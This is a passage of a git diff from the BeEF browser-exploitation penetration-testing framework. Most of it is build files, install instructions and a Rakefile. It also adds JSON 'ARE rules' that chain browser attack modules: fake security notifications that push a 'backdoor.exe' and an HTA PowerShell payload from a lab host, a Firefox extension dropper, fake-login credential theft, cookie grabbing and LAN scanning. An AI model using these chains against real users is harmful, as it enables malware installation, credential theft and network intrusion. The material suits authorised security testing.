+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.13.0)
+    rspec-support (3.13.6)
+    rubocop (1.85.0)
+      json (~> 2.3)
+      language_server-protocol (~> 3.17.0.2)
+      lint_roller (~> 1.1.0)
+      mcp (~> 0.6)
+      parallel (~> 1.10)
+      parser (>= 3.3.0.2)
+      rainbow (>= 2.2.2, < 4.0)
+      regexp_parser (>= 2.9.3, < 3.0)
+      rubocop-ast (>= 1.49.0, < 2.0)
+      ruby-progressbar (~> 1.7)
+      unicode-display_width (>= 2.4.0, < 4.0)
+    rubocop-ast (1.49.0)
+      parser (>= 3.3.7.2)
+      prism (~> 1.7)
+    ruby-progressbar (1.13.0)
+    ruby2_keywords (0.0.5)
+    rubyzip (3.2.2)
+    rushover (0.3.0)
+      json
+      rest-client
+    securerandom (0.4.1)
+    selenium-webdriver (4.41.0)
+      base64 (~> 0.2)
+      logger (~> 1.4)
+      rexml (~> 3.2, >= 3.2.5)
+      rubyzip (>= 1.2.2, < 4.0)
+      websocket (~> 1.0)
+    simplecov (0.22.0)
+      docile (~> 1.1)
+      simplecov-html (~> 0.11)
+      simplecov_json_formatter (~> 0.1)
+    simplecov-html (0.13.2)
+    simplecov_json_formatter (0.1.4)
+    sinatra (4.2.1)
+      logger (>= 1.6.0)
+      mustermann (~> 3.0)
+      rack (>= 3.0.0, < 4)
+      rack-protection (= 4.2.1)
+      rack-session (>= 2.0.0, < 3)
+      tilt (~> 2.0)
+    slack-notifier (2.4.0)
+    sqlite3 (2.9.0-aarch64-linux-gnu)
+    sqlite3 (2.9.0-aarch64-linux-musl)
+    sqlite3 (2.9.0-arm-linux-gnu)
+    sqlite3 (2.9.0-arm-linux-musl)
+    sqlite3 (2.9.0-arm64-darwin)
+    sqlite3 (2.9.0-x86_64-darwin)
+    sqlite3 (2.9.0-x86_64-linux-gnu)
+    sqlite3 (2.9.0-x86_64-linux-musl)
+    stringio (3.2.0)
+    sync (0.5.0)
+    term-ansicolor (1.11.3)
+      tins (~> 1)
+    test-unit (3.7.0)
+      power_assert
+    test-unit-context (0.5.1)
+      test-unit (>= 2.4.0)
+    test-unit-full (0.0.5)
+      test-unit
+      test-unit-context
+      test-unit-notify
+      test-unit-rr
+      test-unit-runner-tap
+    test-unit-notify (1.0.4)
+      test-unit (>= 2.4.9)
+    test-unit-rr (1.0.5)
+      rr (>= 1.1.1)
+      test-unit (>= 2.5.2)
+    test-unit-runner-tap (1.1.2)
+      test-unit
+    thin (2.0.1)
+      daemons (~> 1.0, >= 1.0.9)
+      eventmachine (~> 1.0, >= 1.0.4)
+      logger
+      rack (>= 1, < 4)
+    tilt (2.6.1)
+    timeout (0.6.0)
+    timers (4.4.0)
+    tins (1.43.0)
+      bigdecimal
+      sync
+    tsort (0.2.0)
+    tzinfo (2.0.6)
+      concurrent-ruby (~> 1.0)
+    uglifier (4.2.1)
+      execjs (>= 0.3.0, < 3)
+    unicode-display_width (3.2.0)
+      unicode-emoji (~> 4.1)
+    unicode-emoji (4.2.0)
+    uri (1.1.1)
+    webrick (1.9.1)
+    websocket (1.2.11)
+    websocket-client-simple (0.6.1)
+      event_emitter
+      websocket
+    xmlrpc (0.3.3)
+      webrick
+    xpath (3.2.0)
+      nokogiri (~> 1.8)
+
+PLATFORMS
+  aarch64-linux-gnu
+  aarch64-linux-musl
+  arm-linux-gnu
+  arm-linux-musl
+  arm64-darwin
+  x86_64-darwin
+  x86_64-linux-gnu
+  x86_64-linux-musl
+
+DEPENDENCIES
+  activerecord (~> 8.1)
+  ansi (~> 1.5)
+  async (~> 1.32)
+  async-dns (~> 1.4)
+  browserstack-local (~> 1.4)
+  capybara (~> 3.40)
+  curb (~> 1.2)
+  em-websocket (~> 0.5.3)
+  erubis (~> 2.7)
+  espeak-ruby (~> 1.1.0)
+  eventmachine (~> 1.2, >= 1.2.7)
+  execjs (~> 2.10)
+  geckodriver-helper (~> 0.24.0)
+  irb (~> 1.17)
+  json
+  maxmind-db (~> 1.4)
+  mime-types (~> 3.7)
+  msfrpc-client (~> 1.1, >= 1.1.2)
+  net-smtp
+  otr-activerecord (~> 2.6.0)
+  parseconfig (~> 1.1, >= 1.1.2)
+  pry-byebug (~> 3.12)
+  qr4r (~> 0.6.1)
+  rack (~> 3.2)
+  rack-protection (~> 4.2.1)
+  rake (~> 13.3)
+  rdoc (~> 7.2)
+  rest-client (~> 2.1.0)
+  rspec (~> 3.13)
+  rubocop (~> 1.85.0)
+  rubyzip (~> 3.2)
+  rushover (~> 0.3.0)
+  selenium-webdriver (~> 4.41)
+  simplecov (~> 0.22)
+  sinatra (~> 4.1)
+  slack-notifier (~> 2.4)
+  sqlite3 (~> 2.9)
+  term-ansicolor
+  test-unit-full (~> 0.0.5)
+  thin (~> 2.0)
+  uglifier (~> 4.2)
+  websocket-client-simple (~> 0.6.1)
+  xmlrpc (~> 0.3.3)
+
+BUNDLED WITH
+   2.7.2

INSTALL.txt

@@ -0,0 +1,77 @@
+===============================================================================
+   
+    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+    Browser Exploitation Framework (BeEF) - https://beefproject.com
+    See the file 'doc/COPYING' for copying permission
+
+===============================================================================
+
+Source
+------
+
+Obtain application source code either by downloading the latest archive:
+
+  $ wget https://github.com/beefproject/beef/archive/master.zip
+
+Or cloning the Git repository from Github:
+
+  $ git clone https://github.com/beefproject/beef
+
+
+Prerequisites
+--------------
+
+BeEF requires Ruby 3.0+.
+
+If your operating system package manager does not support Ruby version 3.0,
+you can add the brightbox ppa repository for the latest version of Ruby:
+
+  $ sudo apt-add-repository -y ppa:brightbox/ruby-ng
+
+Alternatively, consider using a Ruby environment manager such as rbenv or rvm
+to manager your Ruby versions. Refer to the following for more information:
+
+  * rbenv: https://github.com/rbenv/rbenv
+  * rvm: https://rvm.io/rvm/install
+
+
+Installation
+------------
+
+Once Ruby is installed, run the install script in the BeEF directory:
+
+  ./install
+
+This script installs the required operating system packages and all the
+prerequisite Ruby gems.
+
+Upon successful installation, be sure to read the Configuration page
+on the wiki for important details on configuring and securing BeEF.
+
+  https://github.com/beefproject/beef/wiki/Configuration
+
+
+Start BeEF
+----------
+
+To start BeEF, simply run:
+
+  $ ./beef
+
+
+Updating
+--------
+
+Due to the fast-paced nature of web browser development and webappsec landscape,
+it's best to regularly update BeEF to the latest version.
+
+If you're using BeEF from the GitHub repository, updating is as simple as:
+
+  $ ./update-beef
+
+Or pull the latest repo yourself and then update the gems with:
+  
+  $ git pull
+  
+  $ bundle
+

README

@@ -1,79 +0,0 @@
-
-   Copyright 2012 Wade Alcorn wade@bindshell.net
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing BeEF should be kept here.
-
-=============================================
-
-   1. Prerequisites (platform independent)
-   2. Prerequisites (Windows)
-   3. Prerequisites (Linux)
-   4. Prerequisites (Mac OSX)
-   5. Install instructions
-   6. Run instructions
-
-
-
-   1. Prerequisites (platform independent)
-
-      BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
-
-      gem install bundler
-
-      
-   2. Prerequisites (Windows)
-      
-      Windows requires the sqlite.dll.  Simply grab the zip file below and extract it to your Ruby bin directory:
-
-	  http://www.sqlite.org/sqlitedll-3_7_0_1.zip
-      
-
-   3. Prerequisites (Linux)
-
-      !!! This must be done PRIOR to running the bundle install command !!!
-      
-      On linux you will need to find the packages specific to your distribution for sqlite.  An example for Ubuntu systems is:
-
-      3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
-      3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
-      3.2. rvm install 1.9.2
-      3.3. rvm use 1.9.2
-	  
-   4. Prerequisites (Mac OSX)
-   
-      - XCode: provides the sqlite support BeEF needs
-      
-      - Ruby 1.9
-      	To install RVM and Ruby 1.9.3 on Mac OS:  
-      	$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile 
-      	$ rvm install 1.9.3-p0 --with-gcc=clang
-		$ rvm use 1.9.3
-      
-
-   5. Install instructions
-   
-      Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
-
-	  Navigate to the ruby source directory and run:
-
-	  bundle install
-
-      Bundler installs all the pre-requisite gems.
-
-   6. Run instructions
-
-      Simply run:
-
-      ./beef

README.md

@@ -0,0 +1,76 @@
+===============================================================================
+
+    Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+    Browser Exploitation Framework (BeEF) - https://beefproject.com
+    See the file 'doc/COPYING' for copying permission
+
+===============================================================================
+
+What is BeEF?
+-------------
+
+__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.
+
+Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
+
+
+Get Involved
+------------
+
+You can get in touch with the BeEF team. Just check out the following:
+
+
+__Please, send us pull requests!__
+
+__Web:__ https://beefproject.com/
+
+__Bugs:__ https://github.com/beefproject/beef/issues
+
+__Security Bugs:__ security@beefproject.com
+
+__Twitter:__ [@beefproject](https://twitter.com/beefproject)
+
+__Discord:__ https://discord.gg/25wT2P8pwx
+
+Requirements
+------------
+
+* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
+* [Ruby](https://www.ruby-lang.org): 3.0 or newer
+* [SQLite](http://sqlite.org): 3.x
+* [Node.js](https://nodejs.org): 10 or newer
+* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
+* Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium)
+
+Quick Start
+-----------
+
+__The following is for the impatient.__
+
+The `install` script installs the required operating system packages and all the prerequisite Ruby gems:
+
+```
+$ ./install
+```
+
+For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
+
+Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
+
+
+Documentation
+---
+
+* [User Guide](https://github.com/beefproject/beef/wiki#user-guide)
+* [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ)
+* [JSdocs](https://beefproject.github.io/beef/index.html)
+
+
+Usage
+-----
+
+To get started, simply execute beef and follow the instructions:
+
+```
+$ ./beef
+```

Rakefile

@@ -1,62 +1,98 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
+require 'rspec/core/rake_task'
 
-task :default => ["quick"]
+task :default => ["short"]
 
-desc "Run quick tests"
-task :quick do
-  Rake::Task['unit'].invoke                 # run unit tests
+RSpec::Core::RakeTask.new(:short) do |task|
+  task.rspec_opts = ['--tag ~run_on_browserstack', '--tag ~run_on_long_tests']
 end
 
-desc "Run all tests"
-task :all do
-  Rake::Task['integration'].invoke          # run integration tests
-  Rake::Task['unit'].invoke                 # run unit tests
-  Rake::Task['msf'].invoke                  # run msf tests
+RSpec::Core::RakeTask.new(:long) do |task|
+  task.rspec_opts = ['--tag ~run_on_browserstack']
 end
 
-desc "Run automated tests (for Jenkins)"
-task :automated do
-  Rake::Task['xserver_start'].invoke
-  Rake::Task['all'].invoke
-  Rake::Task['xserver_stop'].invoke
+RSpec::Core::RakeTask.new(:long_only) do |task|
+  task.rspec_opts = ['--tag ~run_on_browserstack', '--tag run_on_long_tests']
 end
 
-desc "Run integration unit tests"
-task :integration => ["install"] do
-  Rake::Task['beef_start'].invoke
-  sh "export DISPLAY=:0; cd test/integration;ruby -W0 ts_integration.rb"
-  Rake::Task['beef_stop'].invoke
+################################
+# Browserstack
+
+RSpec::Core::RakeTask.new(:browserstack) do |task|
+  task.rspec_opts = ['--tag run_on_browserstack']
 end
 
-desc "Run integration unit tests"
-task :unit => ["install"] do
-  sh "cd test/unit;ruby -W0 ts_unit.rb"
+RSpec::Core::RakeTask.new(:bs) do |task|
+  configs = Dir["spec/support/browserstack/**/*.yml"]
+  configs.each do |config|
+    config = config.split('spec/support/browserstack')[1]
+    ENV['CONFIG_FILE'] = config
+    puts "\e[45m#{config.upcase}\e[0m"
+    task.rspec_opts = ['--tag run_on_browserstack']
+    Rake::Task['browserstack'].invoke
+    Rake::Task['browserstack'].reenable
+  end
 end
 
-desc "Run MSF unit tests"
-task :msf => ["install", "msf_install"]  do
-  Rake::Task['msf_update'].invoke
-  Rake::Task['msf_start'].invoke
-  sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
-  Rake::Task['msf_stop'].invoke
+################################
+# SSL/TLS certificate
+
+namespace :ssl do
+  desc 'Create a new SSL certificate'
+  task :create do
+    if File.file?('beef_key.pem')
+      puts 'Certificate already exists. Replace? [Y/n]'
+      confirm = STDIN.getch.chomp
+      unless confirm.eql?('') || confirm.downcase.eql?('y')
+        puts "Aborted"
+        exit 1
+      end
+    end
+    Rake::Task['ssl:replace'].invoke
+  end
+  
+  desc 'Re-generate SSL certificate'
+  task :replace do
+    if File.file?('/usr/local/bin/openssl')
+      path = '/usr/local/bin/openssl'
+    elsif File.file?('/usr/bin/openssl')
+      path = '/usr/bin/openssl'
+    else
+      puts "[-] Error: could not find openssl"
+      exit 1
+    end
+    IO.popen([path, 'req', '-new', '-newkey', 'rsa:4096', '-sha256', '-x509', '-days', '3650', '-nodes', '-out', 'beef_cert.pem', '-keyout', 'beef_key.pem', '-subj', '/CN=localhost'], 'r+').read.to_s
+  end
 end
 
-task :install do
-  sh "export BEEF_TEST=true;bundle install"
+################################
+# Generate API documentation
+
+desc 'Generate API documentation to doc/rdocs/index.html'
+task :rdoc do
+  Rake::Task['rdoc:rerdoc'].invoke
+end
+
+################################
+# rdoc
+
+namespace :rdoc do
+  require 'rdoc/task'
+
+  desc 'Generate API documentation to doc/rdocs/index.html'
+  Rake::RDocTask.new do |rd|
+    rd.rdoc_dir = 'doc/rdocs'
+    rd.main = 'README.mkd'
+    rd.rdoc_files.include('core/**/*\.rb')
+      #'extensions/**/*\.rb'
+      #'modules/**/*\.rb'
+    rd.options << '--line-numbers'
+    rd.options << '--all'
+  end
 end
 
 ################################
@@ -67,7 +103,7 @@ end
 task :xserver_start do
   printf "Starting X11 Server (wait 10 seconds)..."
   @xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
-  delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
+  delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
   delays.each do |i| # delay for 10 seconds
     printf '.'
     sleep (i) # increase the . display rate
@@ -77,28 +113,53 @@ end
 
 task :xserver_stop do
   puts "\nShutting down X11 Server...\n"
-  sh "ps -ef|grep Xvfb|grep -v grep|awk '{print $2}'|xargs kill"
+  sh "ps -ef|grep Xvfb|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
 end
 
 ################################
 # BeEF environment set up
 
 @beef_process_id = nil;
+@beef_config_file = 'tmp/rk_beef_conf.yaml';
 
 task :beef_start => 'beef' do
-  printf "Starting BeEF (wait 10 seconds)..."
-  @beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
-  delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
-  delays.each do |i| # delay for 10 seconds
+  # read environment param for creds or use bad_fred
+  test_user = ENV['TEST_BEEF_USER'] || 'bad_fred'
+  test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
+
+  # write a rake config file for beef
+  config = YAML.safe_load(File.read('./config.yaml'))
+  config['beef']['credentials']['user'] = test_user
+  config['beef']['credentials']['passwd'] = test_pass
+  Dir.mkdir('tmp') unless Dir.exist?('tmp')
+  File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) }
+
+  # set the environment creds -- in case we're using bad_fred
+  ENV['TEST_BEEF_USER'] = test_user
+  ENV['TEST_BEEF_PASS'] = test_pass
+  config = nil
+  puts "Using config file: #{@beef_config_file}\n"
+
+  printf "Starting BeEF (wait a few seconds)..."
+  @beef_process_id = IO.popen("ruby ./beef -c #{@beef_config_file} -x 2> /dev/null", "w+")
+  delays = [5, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
+  delays.each do |i| # delay for a few seconds
     printf '.'
     sleep (i)
   end
-  puts '.'
+  puts ".\n\n"
 end
 
 task :beef_stop do
-  puts "\nShutting down BeEF...\n"
-  sh "ps -ef|grep beef|grep -v grep|awk '{print $2}'|xargs kill"
+  # cleanup tmp/config files
+  puts "\nCleanup config file:\n"
+  rm_f @beef_config_file
+  ENV['TEST_BEEF_USER'] = nil
+  ENV['TEST_BEEF_PASS'] = nil
+
+  # shutting down
+  puts "Shutting down BeEF...\n"
+  sh "ps -ef|grep beef|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
 end
 
 ################################
@@ -109,7 +170,7 @@ end
 task :msf_start => '/tmp/msf-test/msfconsole' do
   printf "Starting MSF (wait 45 seconds)..."
   @msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
-  delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
+  delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
   delays.each do |i| # delay for 45 seconds
     printf '.'
     sleep (i) # increase the . display rate
@@ -126,7 +187,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do
   # Handled by the 'test/msf-test/msfconsole' task.
 end
 
-task :msf_update  => '/tmp/msf-test/msfconsole' do
+task :msf_update => '/tmp/msf-test/msfconsole' do
   sh "cd /tmp/msf-test;git pull"
 end
 
@@ -135,20 +196,10 @@ file '/tmp/msf-test/msfconsole' do
   sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test"
 end
 
-
 ################################
-# Create Mac DMG File
-
-task :dmg do
-  puts "\nCreating Working Directory\n";
-  sh "mkdir dmg";
-  sh "mkdir dmg/BeEF";
-  sh "rsync * dmg/BeEF --exclude=dmg -r";
-  sh "ln -s /Applications dmg/";
-  puts "\nCreating DMG File\n"
-  sh "hdiutil create ./BeEF.dmg -srcfolder dmg -volname BeEF -ov";
-  puts "\nCleaning Up\n"
-  sh "rm -r dmg";
-  puts "\nBeEF.dmg created\n"
+# ActiveRecord
+namespace :db do
+  task :environment do
+    require_relative "beef"
+  end
 end
-

VERSION

@@ -1,17 +1,7 @@
 #
-#   Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-#   Licensed under the Apache License, Version 2.0 (the "License");
-#   you may not use this file except in compliance with the License.
-#   You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-#   Unless required by applicable law or agreed to in writing, software
-#   distributed under the License is distributed on an "AS IS" BASIS,
-#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#   See the License for the specific language governing permissions and
-#   limitations under the License.
+# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - https://beefproject.com
+# See the file 'doc/COPYING' for copying permission
 #
 
-0.4.3.3-alpha
+0.6.0.0

_config.yml

@@ -0,0 +1 @@
+theme: jekyll-theme-minimal

arerules/alert.json

@@ -0,0 +1,14 @@
+{"name": "Display an alert",
+  "author": "mgeeky",
+  "modules": [
+    {"name": "alert_dialog",
+      "condition": null,
+      "options": {
+        "text":"You've been BeEFed ;>"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/c_osx_test-return-mods.json

@@ -0,0 +1,35 @@
+{
+  "name": "Test return debug stuff",
+  "author": "antisnatchor",
+  "browser": "S",
+  "browser_version": ">= 7",
+  "os": "OSX",
+  "os_version": "<= 10.10",
+  "modules": [{
+    "name": "test_return_ascii_chars",
+    "condition": null,
+    "options": {}
+  }, {
+    "name": "test_return_long_string",
+    "condition": "status==1",
+    "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
+    "options": {
+      "repeat": "10",
+      "repeat_string": "<<mod_input>>"
+    }
+  },
+    {
+      "name": "alert_dialog",
+      "condition": "status=1",
+      "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
+      "options":{"text":"<<mod_input>>"}
+    },
+   {
+    "name": "get_page_html",
+    "condition": null,
+    "options": {}
+  }],
+  "execution_order": [0, 1, 2, 3],
+  "execution_delay": [0, 0, 0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/confirm_close_tab.json

@@ -0,0 +1,16 @@
+{"name": "Confirm Close Tab",
+  "author": "mgeeky",
+  "modules": [
+    {"name": "confirm_close_tab",
+      "condition": null,
+      "code": null,
+      "options": {
+        "text":"Are you sure you want to navigate away from this page?",
+        "usePopUnder":"true"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/enabled/README

@@ -0,0 +1,2 @@
+Move here the ARE rule files that you want to pre-load when BeEF starts.
+Make sure they are .json files (any other file extension is ignored).

arerules/ff_osx_extension-dropper.json

@@ -0,0 +1,19 @@
+{
+  "name": "Firefox Extension Dropper",
+  "author": "antisnatchor",
+  "browser": "FF",
+  "os": "OSX",
+  "os_version": ">= 10.8",
+  "modules": [{
+    "name": "firefox_extension_dropper",
+    "condition": null,
+    "options": {
+      "extension_name": "Ummeneske",
+      "xpi_name": "Ummeneske",
+      "base_host": "http://172.16.45.1:3000"
+    }
+  }],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/get_cookie.json

@@ -0,0 +1,14 @@
+{
+  "name": "Get Cookie",
+  "author": "@benichmt1",
+  "modules": [
+    {"name": "get_cookie",
+      "condition": null,
+      "options": {
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/ie_win_fakenotification-clippy.json

@@ -0,0 +1,31 @@
+{
+  "name": "Ie Fake Notification + Clippy",
+  "author": "antisnatchor",
+  "browser": "IE",
+  "browser_version": "== 11",
+  "os": "Windows",
+  "os_version": ">= 7",
+  "modules": [
+    {
+      "name": "fake_notification",
+      "condition": null,
+      "options": {
+        "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
+      }
+    }
+  ,{
+      "name": "clippy",
+      "condition": null,
+      "options": {
+        "clippydir": "http://172.16.45.1:3000/clippy/",
+        "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
+        "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
+        "respawntime":"5000",
+        "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
+      }
+    }
+  ],
+  "execution_order": [0,1],
+  "execution_delay": [0,2000],
+  "chain_mode": "sequential"
+}

arerules/ie_win_htapowershell.json

@@ -0,0 +1,26 @@
+{
+  "name": "HTA PowerShell",
+  "author": "antisnatchor",
+  "browser": "IE",
+  "os": "Windows",
+  "os_version": ">= 7",
+  "modules": [
+    {
+      "name": "fake_notification",
+      "condition": null,
+      "options": {
+        "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
+      }
+    },
+    {
+      "name": "hta_powershell",
+      "condition": null,
+      "options": {
+        "domain":"http://172.16.45.1:3000",
+        "ps_url":"/ps"
+      }
+    }],
+  "execution_order": [0,1],
+  "execution_delay": [0,500],
+  "chain_mode": "sequential"
+}

arerules/ie_win_missingflash-prettytheft.json

@@ -0,0 +1,27 @@
+{
+  "name": "Fake missing plugin + Pretty Theft LinkedIn",
+  "author": "antisnatchor",
+  "browser": "IE",
+  "browser_version": ">= 8",
+  "os": "Windows",
+  "os_version": "== XP",
+  "modules": [{
+    "name": "fake_notification_c",
+    "condition": null,
+    "options": {
+      "url": "http://172.16.45.1:3000/updates/backdoor.exe",
+      "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
+    }
+  }, {
+    "name": "pretty_theft",
+    "condition": null,
+    "options": {
+      "choice": "Windows",
+      "backing": "Grey",
+      "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
+    }
+  }],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 5000],
+  "chain_mode": "sequential"
+}

arerules/ie_win_test-return-mods.json

@@ -0,0 +1,35 @@
+{
+  "name": "Test return debug stuff",
+  "author": "antisnatchor",
+  "browser": "IE",
+  "browser_version": "<= 8",
+  "os": "Windows",
+  "os_version": ">= XP",
+  "modules": [{
+    "name": "test_return_ascii_chars",
+    "condition": null,
+    "options": {}
+  }, {
+    "name": "test_return_long_string",
+    "condition": "status==1",
+    "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
+    "options": {
+      "repeat": "10",
+      "repeat_string": "<<mod_input>>"
+    }
+  },
+    {
+      "name": "alert_dialog",
+      "condition": "status=1",
+      "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
+      "options":{"text":"<<mod_input>>"}
+    },
+   {
+    "name": "get_page_html",
+    "condition": null,
+    "options": {}
+  }],
+  "execution_order": [0, 1, 2, 3],
+  "execution_delay": [0, 0, 0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_cors_scan.json

@@ -0,0 +1,25 @@
+{"name": "LAN CORS Scan",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "cross_origin_scanner_cors",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "ipRange":"<<mod_input>>",
+        "ports":"80,8080",
+        "threads":"2",
+        "wait":"2",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_cors_scan_common.json

@@ -0,0 +1,19 @@
+{"name": "LAN CORS Scan (Common IPs)",
+  "author": "bcoles",
+  "modules": [
+    {"name": "cross_origin_scanner_cors",
+      "condition": null,
+      "code": null,
+      "options": {
+        "ipRange":"common",
+        "ports":"80,8080",
+        "threads":"2",
+        "wait":"2",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_fingerprint.json

@@ -0,0 +1,25 @@
+{"name": "LAN Fingerprint",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "internal_network_fingerprinting",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "ipRange":"<<mod_input>>",
+        "ports":"80,8080",
+        "threads":"3",
+        "wait":"5",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_fingerprint_common.json

@@ -0,0 +1,19 @@
+{"name": "LAN Fingerprint (Common IPs)",
+  "author": "antisnatchor",
+  "modules": [
+    {"name": "internal_network_fingerprinting",
+      "condition": null,
+      "code": null,
+      "options": {
+        "ipRange":"common",
+        "ports":"80,8080",
+        "threads":"3",
+        "wait":"5",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_flash_scan.json

@@ -0,0 +1,24 @@
